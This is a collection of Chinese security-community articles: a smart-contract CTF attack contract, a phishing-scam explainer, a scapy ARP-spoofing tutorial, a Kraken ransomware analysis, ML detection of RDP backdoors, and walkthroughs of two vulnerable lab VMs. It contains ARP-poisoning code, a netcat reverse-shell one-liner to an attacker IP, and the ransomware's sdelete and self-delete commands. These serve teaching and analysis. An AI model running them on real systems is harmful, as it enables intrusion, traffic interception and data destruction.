0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020
攻击合约如下:
pragma solidity ^0.5.0;
contract Target {
function get()public returns (address) ;
function set(uint a) public;
function die() public;
}
contract Solver {
constructor(bytes memory data) public payable {
(bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
require(result);
Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
require(address(this).balance > 0);
selfdestruct(msg.sender);
}
}
本次两道题目难度较大，需要进行逆向，且与常规的题目不太相同，希望能帮助读者更进一步理解。
### 参考链接
* <https://aleth.io/account/0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a>
* <https://samczsun.com/consensys-ctf-2-rop-evm/>
* <https://medium.com/dedaub/chronicle-of-an-attack-foretold-20c9c5629c89>
* <https://samczsun.com/consensys-ctf-writeup/>
* <https://contract-library.com/#!/contracts/MAINNET/68cb858247ef5c4a0d0cde9d6f68dce93e49c02a> | 社区文章 |
# 200多人因“拼多多”砍价被盗刷？安全专家解读来了
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期一段“辽宁：灯塔200多人因拼多多砍价银行卡被盗刷”成为互联网热议的话题，在给用户带来“恐慌”的同时，也吸引了卫士妹的关注。目前警方和媒体已进行了辟谣。同时，网络上还有其他类似的话题，如下图：
图片来自网络
可以看出，这些话题事件的背后，源于大家对于黑灰产手法的不理解。结合以往被骗案例和媒体新闻报道提供的素材，对与拼多多相关的诈骗手法进行了分析得出，目前，让用户迷惑的手法目前有两类：
## 第一类：在“拼多多”购物被骗或者发生盗刷
以上场景， **一般发生在虚假刷单诈骗中** ，以刷单为名，引导用户进入虚假的拼多多店铺进行支付操作，给用户产生被拼多多诈骗的假象。
### 360手机先赔用户反馈，在虚假拼多多平台受骗
2018年11月用户在微信群看到拼多多刷单放单客，便添加了对方的微信。
随后对方给用户发送了虚假拼多多商城的链接，用户使用微信访问链接，使用微信支付499元购买布艺沙发。完成商品刷单操作后，用户联系对方返款，对方表示当天的任务返款时间是下午5点，之后不再回复用户信息。用户查询拼多多未查询到该笔订单，得知受骗。
Ø不法分子制作高仿的虚假电商平台网站后，借助工具将钓鱼网站生成二维码或短链接，传播过程用户也会习惯性忽略确认链接是否为官网。
Ø当用户访问钓鱼网站链接后，由于界面内容与真正的电商平台相同，部分网站甚至内嵌了拼多多的链接，用户会顺理成章的以为是官网链接。
Ø用户在仿冒的电商平台网站中填写自己的收货地址、银行账户等信息，就产生了个人信息泄露，资金被盗刷的情况。
如下图展示，再对案例涉及的网站提取后，发现其网址并不是拼多多官方的链接。
## 第二类：网址与官方网址不同，实际点击却跳转官网
如下图展示的这种网址，看似为推广链接，实际点击访问后跳转至应用下载链接。
为什么会产生这种现象呢，这里主要是用到我们之前介绍过的 **防洪域名使用的网页嵌套技术。** 即将网站内容嵌套在防洪域名的网站中，达到传统过程中防洪的目的。
### 原理解读
**防洪域名**
指的是防止域名被社交软件平台、网络安全厂商拦截（提示安全风险或限制访问）。其主要是 **利用域名缩短、多级域名轮换** 等手段完成域名防洪。
**n域名缩短：** 指的是利用短链接域名，将原链接解析至短链接域名，防止入口域名被检测拦截；
**n多级域名轮换：** 指的是利用多层域名进行跳转。
**利用防洪域名制作的链接，经过解析最终会至原链接。**
只要原链接是正规平台，最终访问的链接仍是正规平台。主要被应用在防止诱导分享、关注类内容在传播过程中被拦截的可能。
## 安全课堂
n对于陌生人发送的链接，尤其是需要预留个人信息、银行账户密码的页面，要尤为慎重，仔细辨别，避免信息泄露导致的资金损失。
n正确分享、传播有价值的内容，对消息内容仔细辨别，避免沦为传播虚假信息的“中间人”。 | 社区文章 |
# 使用scapy进行ARP攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，当局域网中的某台机器B向A发送一个自己伪造的ARP应答，而如果这个应答是B冒充C伪造来的，即IP地址为C的IP，而MAC地址是伪造的，则当A接收到B伪造的ARP应答后，就会更新本地的ARP缓存，这样在A看来C的IP地址没有变，而它的MAC地址已经不是原来那个了。
通过ARP欺骗可以对内网数据进行嗅探，在内网渗透中往往也是重要的一部分。
## 实验环境如下
无线网关：
IP:192.168.199.1
MAC: d4-ee-07-67-40-68
普通用户：
IP：192.168.199.213
MAC：5c:93:a2:fe:29:e3
攻击者：
IP：192.168.199.229
MAC：30-b4-9e-67-25-47
实验环境图如下：
## 一、ARP 欺骗原理
攻击者通过构造两种ARP响应包，分别欺骗普通用户和网关路由器。
第一种ARP包中源IP为网关IP(192.168.199.1)，源MAC为攻击者MAC(30:b4:9e:67:25:47)，目的IP为普通用户IP(192.168.199.213)，目的MAC为普通用户MAC(5c:93:a2:fe:29:e3)。当用户收到此ARP报文则将ARP表中网关的MAC地址更新为攻击者的MAC(30:b4:9e:67:25:47)。当普通转发数据时数据则会发向攻击者的PC上，由攻击者进行数据转发。
第二种ARP包中源IP为普通用户IP(192.168.199.213)，但源MAC为攻击者MAC(30:b4:9e:67:25:47)，目的IP为网关IP(192.168.199.1)，目的MAC为网关MAC(d4:ee:07:67:40:68)。网关收到此ARP将ARP表中普通用户的MAC更新为攻击者MAC(30:b4:9e:67:25:47)。
实现代码如下：
`def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target=ARP()
poison_target.op=2
poison_target.psrc=gateway_ip
poison_target.pdst=target_ip
poison_target.hwdst=target_mac
poison_gateway=ARP()
poison_gateway.op=2
poison_gateway.psrc=target_ip
poison_gateway.pdst=gateway_ip
poison_gateway.hwdst=gateway_mac
print "[*] Beginning the ARP poison.[CTRL-C to stop]"
while True:
try:
send(poison_target)
send(poison_gateway)
print "send sucess!"
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
print "[*] ARP poison attack finished."
return
通过不间断的发送这两种ARP报文，攻击者以中间人的形式窃取数据报文。
实验前普通用户PC机中ARP表如下：
实验开始前，需打开攻击者的路由转发功能，若未开启转发攻击，普通用户则无法正常访问外网。
`echo 1 > /proc/sys/net/ipv4/ip_forward`
运行脚本:
查看普通用户的ARP表项：
## 二、进行数据包抓取
使用scapy抓包代码如下：
成功进行了ARP欺骗，访问外网，能正常访问
在攻击者PC上抓取的数据包，并用wireshark打开如下：
## 三、图片浏览
当被攻击用户同浏览器访问图片文件时，可搭配driftnet进行图片抓取
`driftnet -i wlan0`
抓取图片如下：
参考文章：《Black Hat Python》
代码托管：<https://github.com/fishyyh/arppoison.git>
审核人：yiwang 编辑：边边 | 社区文章 |
最近几个月，Kraken
Cryptor勒索软件有了显著的进展。Kraken最早是8月中旬出现在地下论坛。9月中旬，就被放在了SuperAntiSpyware的网站上，伪装成安全解决方案来感染想要下载防监听软件的用户系统。9月下旬，研究人员nao_sec发现Fallout
Exploit Kit开始传播Kraken。
研究人员还发现了与Kraken相关的用户ThisWasKraken有一个有偿账户（paid account）。paid
account在地下论坛是很常见的，拥有有偿账户的恶意软件开发者一般都是等级很高的论坛成员或高度可信的成员。
Kraken Cryptor开发者请求加入Fallout Exploit Kit.
Kraken Cryptor公告
勒索软件公告的内容是俄语的，有以下特征：
* C# (.NET 3.5)编码
* 大小约为`~85KB`
* 全自动化
* 可以收集系统信息
* 可以对文件大小限制进行加密
* 加密速度更快
* 使用多种加密算法混合来完全更加安全和快速的加密，每个文件都有一个唯一的密钥
* 可以使用网络资源，为加密非操作系统盘的所有文件添加扩展绕过模式
* 无法通过恢复中心或免费工具恢复数据
* 加入了反调试、反取证方法
Kraken的商业模式类似勒索软件即服务（Ransomware-as-a-Service，RaaS）。分支成员每隔15天就可以更新一个版本，以确保payload不会被反病毒软件检测到。
当受害者请求免费的解密测试时，分支成员每隔应发送受害者的文件和对应的密钥到Kraken
Cryptor勒索软件支持服务。该服务会解密文件并发送给分支成员，然后分支成员再转发给用户。受害者在支付了所有赎金之后，分支成员发送收到的赎金百分比到RaaS开发者来获取解密key，然后分支成员再转发给受害者。
研究人员发现开发者的收益比率已经从v1版本的25%降低到v2版本的20%。开发者这么做的目的可能是为了开发更多的下线。如果想加入该项目，潜在的分支成员必须填一个表格并支付50美元。
Kraken论坛公告中称，该勒索软件不能用于以下国家：
* 亚美尼亚
* 阿塞拜疆
* 白俄罗斯
* 爱沙尼亚
* 格鲁吉亚
* 伊朗
* 哈萨克斯坦
* 吉尔吉斯斯坦
* 拉脱维亚
* 立陶宛
* 摩尔多瓦
* 俄罗斯
* 塔吉克斯坦
* 土库曼斯坦
* 乌克兰
* 乌兹别克斯坦
10月21日，Kraken开发者发布了v2版本，同时发布了受害者分布图：
从中可以看出排除的国家列表中也有感染。
# 视频推广
第一个公开发布的Kraken
Cryptor是v1.2，第二个版本是v2.07。为了推广该勒索软件，恶意软件作者还创建了一个视频来推广恶意软件的能力。研究人员分析了视频的元数据，认为作者是与第一版本v1.2同时发布的。
视频中，恶意软件开发者证明了Kraken加密数据的速度非常快：
Kraken勒索软件执行过程图
# 攻击者分析
Mcafee和Recorded
Future的研究人员一起分析了ThisWasKraken在论坛发的所有帖子。因为所有帖子都是俄语的，因此研究人员断定ThisWasKraken的母语肯定不是俄语和英语。根据帖子的内容，研究人员推断攻击者可能使用了自动翻译服务，因为出现了很多的词汇错误。相比俄语，攻击者对英语更加熟练，但在句子结构和拼写上仍然存在错误。勒索信中也有英语拼写错误。
ThisWasKraken应该是团队成员，但并不直接参与勒索软件开发。Jabber账户为`thiswaskraken@exploit[.]im`，是面向用户的，所有产品细节都联系产品支持团队`teamxsupport@protonmail[.]com`。
# 赎金支付
比特币是目前唯一支持的货币。研究人员发现了许多与该攻击活动相关的钱包地址。Kraken开发者选择在线赌博网站BitcoinPenguin作为其主要的洗钱方式。但常见的网络犯罪分子都不会选择这种方式，而是选择传统的加密货币交易所。研究人员分析其中的一个原因应该是BitcoinPenguin不对会员身份进行验证。
与Kraken相关的比特币交易，其父钱包为`3MsZjBte81dvSukeNHjmEGxKSv6YWZpphH`
# Kraken Cryptor
勒索软件会快速对磁盘上的数据进行加密，并用外部攻击来擦除文件适文件恢复变得很难。
Kraken Cryptor感染方法
勒索软件用Windows Event Viewer来实现用户账户控制（user account
control，UAC）绕过。UAC绕过也是其他恶意软件家族常用的绕过技术，对恶意软件执行来说非常有效。
该技术的详细解释参见<https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/> 。
研究人员分析了Kraken勒索软件样本，发现该勒索软件仍在测试阶段，因为有添加和移除选项。勒索软件在感染过程中有一个保护功能以避免自己把自己删除：
“C:\Windows\System32\cmd.exe” /C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S “C:\Users\Administrator\AppData\Local\Temp\krakentemp0000.exe”
这一步是为了预防研究人员和终端保护软件在受感染的机器上捕获该文件。
Kraken会用随机名来加密用户文件并释放要求受害者支付赎金来恢复文件的勒索信。McAfee研究人员建议不要支付赎金，因为这会进一步推动更多勒索软件的发展。
Kraken勒索信息
每个文件扩展都是不同的，该技术也被特定的勒索软件家族使用来绕过终端保护系统。
通过利用套件传播的Kraken用Event Viewer绕过UAC，在受害者系统上释放文件，并通过UAC绕过方法来执行。
利用套件传播的二进制文件
二进制文件的作者在v1版本编译过程中忘记删除PDB索引了，而该文件与Kraken Cryptor是有关系的：
早期版本含有下面的路径：
`C:\Users\Krypton\source\repos\UAC\UAC\obj\\Release\UAC.pdb.`
之后的版本会释放PDB路径和Kraken加载器。
# 使用SysInternals工具
Kraken勒索软件的一个独特的特征是使用了`SDelete`，使用`.bat`文件类执行特定的操作，使文件恢复变得非常困难：
Kraken从Sysinternals网站下载了`SDelete`，加入了接收EULA的注册表来避免弹窗，并用下面的参数执行：
`sdelete.exe -c -z C`
SDelete batch文件用`0`覆写了驱动上所有的空闲空间、删除影子卷副本、关闭恢复重启选项、`300s`后重启系统等方式使文件恢复变得非常困难。
# Netguid比较
Kraken的早期版本在直接执行前会通过加载器传播。加载器含有一个特定的`netguid`。通过`netguid`研究人员在VirusTotal找出了Kraken加载器的其他样本：
不仅加载器有特定的`netguid`，Kraken的编译版本也共享一个`netguid`，研究人员依据此找出了更多的样本：
# 版本比较
Kraken在每个版本中都用配置文件来设定勒索软件的变量。
基于配置文件，研究人员发现了Kraken的9个版本：
2
3
5
5.2
5.3
6
0
0.4
0.7
通过提取不同版本的配置文件，研究人员建立了下面的特征一览表：
研究人员发现所有的版本中都含有一些相同的选项，只有反病毒保护和反取证能力又去被。最新的Kraken 2.0.7版本中修改了配置方案。
Kraken的配置文件中还列出了不适用的国家名单。其中巴西和叙利亚不在前面的名单中。
所有Kraken发布版都排除了相同的国家，除了巴西、伊朗和叙利亚。对叙利亚来说，研究人员认为Kraken的攻击者与GandCrab背后的攻击者有某种联系，而GandCrab最近就对叙利亚的受害者公开了解密密钥。
# Version 2.0.7
下面是最新的v2.0.7版本的配置方案：
该版本的可选项更多，研究人员认为该版本比其他版本更具可配置性。
# APIs和统计数据
其中一个新特征是记录受害者数量的公有API：
另一个API是记录特定统计数据的隐藏服务：
二进制文件中可以很容易地找出Onion URL：
Kraken使用的终端和浏览器都硬编码在配置文件中了：
Kraken会从受害者设备中收集以下信息：
* 状态
* 操作系统
* 用户名
* 硬件ID
* IP地址
* 国家
* 城市
* 语言
* HDCount
* HDType
* HDName
* HDFull
* HDFree
* Privilege
* Operate
* Beta
# 基础设施
从v1.2版本到v2.04，Kraken都是通过blasze[.]tk下载其他文件的。该站点使用了Cloudflare保护来预防DDOS攻击：
该域名在以下国家是不能访问的：
<https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/> | 社区文章 |
# 机器学习在Windows RDP版本和后门检测上的应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
###
作者：imbeee、iswin@360观星实验室
## 简介
机器学习目前已经在安全领域有很多的应用，例如Threat Hunting、攻防对抗、UEBA以及金融反欺诈等方面，本文将以Windows
RDP服务为例子，详细阐述机器学习在后门检测、精准的服务版本检测等方面的应用，本文所涉及的相关检测思路和方法已经应用在观星实验室内部的自动化渗透测试平台（Gatling）以及互联网资产发现平台中，当然在年底我们实验室发布的国内首款针对域安全分析的工具—观域中也有很多机器学习的应用，后续的文章我们会详细给大家介绍。
## 背景
本文中所提到的几个问题其实是来自于我们日常工作中实际面临的问题以及实验室内部的几次讨论。在一次给客户（某部委）做互联网资产发现的时候，我们发现一个奇怪的端口，最后经过验证发现这个是RDP的端口，当时Nmap显示的服务器版本是Windows
2008，但是当我们登录进去之后发现是Windows 2003，这是我们面临的第一个问题：如何提高Windows RDP版本识别的准确率？
然后实验室其它小伙伴习惯性的按了5下shift 突然冒出一个黑框，经分析发现是一个shift后门。当时我们遇到的另一个问题就是：如何检测shift后门？
由于我们的客户数量非常多，互联网侧的资产更是不在少数，一台一台登录去检测显然是不可能的，所以第三个问题就是如何自动化的批量检测互联网的shift后门？
基于上面的三个问题，我们进行了一些研究，发现机器学习在自动化RDP版本和shift后门检测方面有一定的应用场景，能帮助我们解决一些实际问题。
## 实现思路
针对上面提出的3个问题，我们从实现上做了一些摸索，也大胆的设想了一下，下面就这两个问题进行分别讨论。
### 当前RDP版本识别存在的问题
我们无法直接从RDP协议中取得系统版本，虽然特定版本的Windows系统默认会使用某个版本的RDP协议，比如Windows 7默认使用RDP
7协议，但是也可以通过安装补丁升级到RDP 8.1或者更高版本。所以通过RDP协议版本推断系统版本也不是很准确。
### 如何高效自动化的检测RDP后门（不止shift后门）？
自动化检测RDP后门，关键在于触发相关程序，如按5次shift键触发sethc.exe，或者win+u触发放大镜等，这部分操作在RDP协议里都是简单键盘事件，并没有使用特定的报文。而对于不同版本的Windows系统，在登录界面触发辅助程序的按键序列也不一样，所以需要先判断Windows版本，使用对应的按键序列来触发粘滞键等程序，然后截图供后续检测。
经过我们调研发现Github上有个Python实现的RDP客户端项目rdpy，这个项目解决了基础的截图问题，在后面RDP后门的检测中，也遇到一些坑，比如稳定截图问题，这个会在后面具体提。
所以我们的整体解决方案就是使用rdpy来实现截图逻辑，版本识别使用机器学习技术，用原始图片样本固定位置截图进行训练，RDP后门检测则基于版本识别的结果（不同版本服务器shift后门弹框位置不一样）训练样本进行识别，关键信息提取直接用原始图片进行关键位置的文字识别即可。
### Windows RDP截图
在截图的实现中，为了避免重复造轮子，我们直接使用了上面提到的rdpy库，其支持Classic RDP
Protocol、SSL和CredSSP全部三种安全层协议，同时实现了不同图片格式（即RDP远程会话的颜色深度）的处理方法，基本满足我们的需求。
RDP稳定截图的难点在于我们无法从协议上得到“停止”反馈。由于RDP协议是将画面切割后分块传输的，且只传输画面变动的部分，所以在整个会话过程中，我们无法确定在哪张图片之后画面已经绘制完毕。
刚开始我们尝试了一些比较脏的方法，包括rdpy自己的截图脚本rdpy-rdpscreenshot.py里面也用到的一个方法，那就是设定一个时间阈值，从建立RDP链接开始，等待一段时间后截图然后关闭链接。这个方法的缺点很明显，那就是受网络质量影响，导致效率低下。对于链接质量好的目标，可能很短时间就完成了登录界面的传输与绘制，但是却浪费了大量时间在等待截图；而对于链接质量差的目标，可能在时间结束时还没有绘制完成，造成截图失败。
通过尝试，最后我们确定了一个比较合理的截图逻辑：建立链接后，每接收一张图片并绘制后，将当前时间记录为最后绘制时间，并且使用一个独立的线程每隔一定时间检查最后绘制时间与当前时间的时间差，如果时间差超过某个值，则认为当前画面已经稳定，可以进行下一步操作（如截图、发送按键触发后续事件），如果需要触发事件后截图，则使用相同的逻辑判断画面是否稳定，然后再次截图。这样的截图流程符合实际操作逻辑，后续可以通过其他手段判断链接质量，并动态调整等待时间，最终获得比较稳定的截图效果。
### Windows版本检测
Windows Server的主流版本大致分为这么5个版本，Windows 7、Windows Server 2003、Windows Server
2008 R[1|2]、Windows Server 2012 R2、Windows 10，从我们在shodan的采样数据数据来看，除了Windows
10非常少之外，开3389的基本上就4个主流版本，所以本文将重点以这4个版本为主。
我们先来几张RDP登录界面的图片
Windows Server 2012 R2
Windows Server 2008 R2
Windows Server 2003
从上面几张图片标红的部分我们大致可以看到RDP的版本标识主要出现的位置在两个地方，所以我们的版本识别主要分为两种，Windows 2003
及以上版本，然后针对这两种类型的关键位置（标红部分）进行图片裁剪进行训练，当然有人可能说了其实不用裁剪直接来训练也行，这种办法不是说不行，只不过在处理效率上有点低，除了标红位置之外的地方主要占了整个图片的80%左右，如果整张图进行训练，在特征提取的时候你的维度就会特别大，而且这这部分基本上不会有变化。
按照关键位置剪切图片后，图片非常小，效果如下
处理完之后其实对于2003来说就是个二分类问题，即是不是2003版本，对于2003以上版本就是个多分类问题，这里主要是区分图片里面的关键元素，一般在实际处理的时候可以不用考虑图片的颜色，即将图片二值化，然后根据图片的Length*Width来作为特征向量的维度，用0和1表示黑白两种颜色，这样就可以将图片转换为可以用于计算的数学上的值，当然如果你直接用ocr去识别图片中的文字，当然也是可以的，不过效率和效果很一般，为了提高效率和识别效果我们采用Scikit-learn中的SVM算法来进行有监督的学习，这样在工程化的时候也比较好嵌入到我们已有的项目中。
整体的识别流程如下：
训练样本大家可以从shodan上去提取，然后截图之后手工分类下，按照如下文件夹的形式存放样本图片
由于有监督学习需要给每个样本打上标签，所以这里我们用数值来标识不同的操作系统版本，映射关系如下：
针对2003的系统需要注意下，这里是二分类，需要一些负样本进行训练对应图中的200300和200301，特征提取关键代码如下：
最后会在traindata里面产生两个文件
每条数据最后一列表示对应的标签
训练这块直接用Scikit-Learn 中的svm算法进行训练即可，关于SVM具体的算法原理这里不做介绍，网上有更专业的paper来进行介绍。
训练部分的代码如下
我们将测试集分为两组，80%作为训练，20%作为测试，目前就版本检测来说，准确接近100%，看以下4个版本例子
一条龙效果：
### RDP后门检测
上面简单介绍了下RDP版本识别的一些内容，那么接下来将介绍下本文的重点内容，RDP版本识别实现的方式也比较多，而且效果比较好，利用的分析模型也都是大家平时都了解的。
关于RDP后门的识别，本文主要以shift后门为例，其它的放大镜之类的和shift原理类似.
我们从shodan上面的采样的结果来看，shift后门主要的几种形式，如下图
所以这里面面临的问题就是shift后门位置不固定，大小不一样，颜色不一样，不同版本的弹框也不一样。所以用图像识别、固定位置截图识别，或者说将图片二值化后看黑白区域所占的比例（cmd框黑色占比比较大），包括利用之前的SVM进行标记训练，都是不行的，识别效果太差了，例如shift框位置稍微变动下、大小稍微变动下，识别准确率就非常低。
在我们经过一段时间的调研之后，发现目标检测算法（Object Detection）比较适用于我们当前的项目，目标识别的算法主要有R-CNN、Faster-R-CNN、YOLO等，这个算法目前以被tensorflow、keras、Caffe等框架实现，关于目标检测算法的原理之类的，建议大家先从卷积神经网络（CNN）去看相关paper，本文也只是目标检测算法在安全上的一些应用的探索。
综合几个方面的因素，我们选择了YOLO-V2来进行样本训练和识别（目前最新版本是YOLO-V3，但是测试的时候老是有GPU内存不足的问题，调整了训练的batch_size还是不行，所以就回退到V2），YOLO主要是做目标识别以及实时图像目标识别，由于YOLO
是属于深度学习的范畴，最好你要有GPU的计算环境，否则用CPU来训练的时候会非常慢。
YOLO的使用大家可以参考作者的博客<https://pjreddie.com/darknet/>
，这里有相关的原理Paper，当然还有一些训练好的模型可以直接用，安装过程就不详细解释了，包括GPU环境的编译，作者博客上都有详细的说明，YOLO是一个目标检测框架，作者提供了两种类型（PASCAL
VOC、COCO）的数据集来进行模型的训练，我们可以根据这两种类型来定制自己的数据集来训练自己的模型，本文采用PASCAL
VOC2007类型来指定自己的数据集，PASCAL VOC2007数据集的目录结构如下：
**JPEGImages** ：包含了PASCAL VOC所提供的所有的图片信息。
**Annotations** ：存放对应图片的xml格式的标签文件。
**ImageSets** ：主要是Main目录下txt文件，存储训练样本的文件名（不带后缀）。
**Labels** ：标记样本的类型等信息。
其它文件夹在YOLO中没有使用，感兴趣的自己去查下。
首先我们将shift后门的样本放在JPEGImages目录，按照如下编号进行保存
图片标记使用<https://github.com/tzutalin/labelImg>
，然后对每张图片进行标记，我们目前只有两个分类：normal_shift、shift_backdoor，例如
按照类似的方法将所有样本进行标记，然后用voc_label.py
将标记好的xml信息转换成相应格式的文件即可，这里这个工具在标注的xml文件中可能会出现width和height为0的情况，需要在标注后统一修正下图片的大小。
修改YOLO的训练的参数，这里主要涉及YOLO的三个文件cfg/voc.data、cfg/tiny-yolo-voc.cfg、data/voc.names，具体的参数信息大家可以根据自己的类别来设置，这里以两个类别为例子。
所有数据都准备好之后，我们就可以开始进行训练，先看看装备
**注：训练的初始权重可以在作者博客进行下载。**
./darknet detector train cfg/voc.data cfg/tiny-yolo-voc.cfg darknet19_448.conv.23 -gpus 0,1,2,3
大约几个小时之后（CPU的话大概1周左右，看性能），经过40000多次迭代直至收敛，在backup目录下面会生成最终的权重文件：tiny-yolo-voc_final.weights，至此整个过程的标注和训练工作已经完成。
识别的话我们项目用的是python，这里直接用 pip install darknetpy ，然后将最终的权重文件以及相关的配置文件按照要求正常调用就行了。
我们看看最终效果：
我们用于训练的图片大小是800*600，我们这里用2048*768的图片来进行识别看看准确率如何。
当然识别率这块还有很多可以提高的地方，比如训练的样本集、图片的进一步处理等。
### RDP版本、后门全国分布
我们对中国互联网侧暴露的130w（数据来源：<https://opendata.rapid7.com/sonar.tcp/>
）开放3389端口的IP进行了分析，确定Windows开放远程桌面的服务器大约为31W左右，通过对这31W的数据进行了分析研究，得出以下结论：
通过对31W开放的Windows远程桌面服务器进行分析识别，发现了4500+ Shift后门，具体的shift后门分布如下：
其中广东、江苏、北京、浙江、上海、山东是重灾区，具体数量如下：
## 总结
Windows RDP 的后门变种是非常多的，本文提供的检测方式只是最基础的一种，这些后门也只是冰山一角。
对于那些非常隐蔽的后门的检测我们还在探索之中，作为一个服务于广大客户的厂商来说，大规模、自动化的安全检测还有很长一段路需要走，接下来我们也会结合新的技术去探索更具挑战的威胁检测。
当然如果你愿意同我们一起进行安全技术的研究和探索，请发送简历到 [[email protected]](mailto:[email protected])，我们期望你的加入。
**参考链接**
1. <https://pjreddie.com/darknet/yolo/>
2. <https://github.com/citronneur/rdpy>
3. <https://github.com/tzutalin/labelImg>
4. <https://github.com/rbgirshick/py-faster-rcnn>
5. <https://opendata.rapid7.com/sonar.tcp/> | 社区文章 |
# 渗透测试实战-Blacklight靶机+DeRPnStiNK靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
挺久没更新靶机渗透文章，近期抽点时间继续更新文章，为什么这篇要2个靶机写在一起哪？因为第一个靶机虽然被困了几天但是其实比较简单故就和另外一个前段时间玩的合并在一起发表了….
## 靶机安装/下载
Blacklight靶机下载：<https://pan.baidu.com/s/1n1A7UlgDUHL1RdmXN0CDPw>
DeRPnStiNK靶机下载：<https://pan.baidu.com/s/1ayCZ17PHxFe71vbldjGW2w>
Blacklight靶机IP：172.16.24.92
DeRPnStiNK靶机IP：172.16.24.69
攻击者IP：172.16.24.31
## 实战
### 1.Blacklight靶机
老规矩nmap开路,个人习惯直接全端口….
通过端口探测可以看到该靶机开启了2个服务端口，一个是80，一个是9072端口，其中9072端口显示未知服务…. 我们还是继续先用80端口作为突破口，
界面还是比较简单的，我们使用目录爆破工具跑一下看看，小伙伴们可以自选，小弟还是继续使用kali上自带的 dirb
(注：前面的文章中经常有小伙伴们说我的XX目录这么爆破不出来等等，个人觉得大家不应该局限于特定一款工具，可以多试几款多收集一些大的字典包)
简单的探测后可以看到 有个 “robots.txt” 根据经验有这个目录大部分是有价值得…访问看看
得到 flag1.txt blacklight.dict 2个目录
可以看到我们已经拿到了第一个flag：“fc4c7223964a26b152823d14f129687207e7fe15”，并告诉我们9072的秘密在首页？（“家？”），另外一个相信小伙伴们也看的出肯定是一个密码字典等等子类的
根据提示小弟在这里被卡了好几天….
收集了该作者的github、blog首页、他写的一些项目啊一些跟MSF官方交流的信息啊等等等等，一个一个去搜索查看关于“9072”的线索结果都一无所获…本来都有点想放弃的，但是看他写的说该靶机说初学者级别，感觉脸上的巴掌印有点红….
最后操起本着都试试的心态，操起“banner-plus”插件探测一下看看,结果有发现…
发现一个 “.help” ？ 那就直接命令 “telnet 172.16.24.92 9072”
我们跟着提示 输入 “.help”
第一个为读取hash，我们试着用刚刚那个字典破解一下…（其实可以完全不用）
我们其实只需要用到 “.exec” 就行了
命令：.exec `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.24.31
5555 >/tmp/f` （外面要加一个”“”）
注：这里只有2次的命令输入机会，超过了需要重启靶机
可以看到我们已经拿到了shell。。 且权限为root
该靶机完！是不是很简单….
### 2.DeRPnStiNK靶机
老规矩！nmap开路
可以看到开放了多个端口服务，我们还是用80端口作为我们的突破口，使用命令：
curl <http://172.16.24.69>
拿到第一个flag
（注：该flag通过访问网页查看源码是看不到的哦）
下一步还是跟真实渗透环境中一样跑一下目录，
可以看到找到了比较多的目录，如“/php”、“/weblog/”等等
我们访问 <http://172.16.24.69/webnotes/info.txt>
让我们添加上本地DNS转换，结合上访问“/weblog”目录在浏览器左下角一直在请求连接“derpnstink.local” 如图：
那下一步肯定就在 /etc/hosts 里写入地址，如图
我们继续访问
可以看到页面已经能正常访问了，通过前面的目录扫描已经知道它使用的WP搭建的网站，下面我们直接使用wpscan来扫描该web，顺便加载上自己的字典看能不能爆破出账号密码，如图：
通过扫描结果可以看到，还是挺幸运的
成功扫描出几个漏洞和爆破出账号密码，都为”admin”,下一步肯定是登陆拿shell，我相信这肯定难不倒聪明的各位，小弟这里使用MSF来帮忙完成（这个模块小弟前面的文章有使用过来，这里就不多说了..），如图：
为了文章演示方便，小弟上个了webshell…
下面我们查看 “wp-config.php” 拿mysql密码
得到账号：”root”,密码：”mysql”
我们在跑目录的时候已经知道 “/php”目录下面就是 phpmyadmin，为了演示方便，小弟使用phpmyadmin来登陆操作
<http://derpnstink.local/php/phpmyadmin/index.php>
登陆后在 “wp-posts”拿到flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
在 “wp-user” 拿到hash密文：“$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41”,
可以先辨别一些hash密文的类型
下一步肯定是猜解这个密文，小伙伴们可以使用“hashcat”，命令为：
hashcat -a 0 -m 400 xx.hash mima.txt
因小弟电脑未安装GPU补丁程序，故小弟使用john来完成这个工作
得到密码为：wedgie57 账号为：stinky
我们使用得到的账号密码登陆FTP
成功登陆并得到了2个文件，一个如图为与一个“mrderp”用户对话记录
另一个为 ssh 的登陆密钥,如图：
ftp://[[email protected]](mailto:[email protected]).69/files/ssh/ssh/ssh/ssh/ssh/ssh/key.txt
我们把密钥复制到本地，然后去登陆ssh,如图：
已经成功登陆！（注：此处的key.txt 必须要给足权限，否则无法登陆）
下一步拿flag
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
我们继续翻目录，在/Documents 下发现一个 “derpissues.pcap”握手包，
我们down下来分析看看，命令：
scp -i key.txt
[[email protected]](mailto:[email protected]).69:/home/stinky/Documents/derpissues.pcap
/tmp/derp.pcap
我们载入wireshark分析，拿到“mrderp”密码，如图：
密码为：“derpderpderpderpderpderpderp”
下面我们切换账号登陆试试
可以看到已经切换成功并在桌面发现一个“helpdesk.log”文件
下面我们试着切换看看能不能成功，输入命令“sudo -l”
出现一个关键词：(ALL) /home/mrderp/binaries/derpy*
本来这个目录下面是没有“/binaries/”目录的，我们可以创建这个目录和前面包含“derpy”的文件，如图：
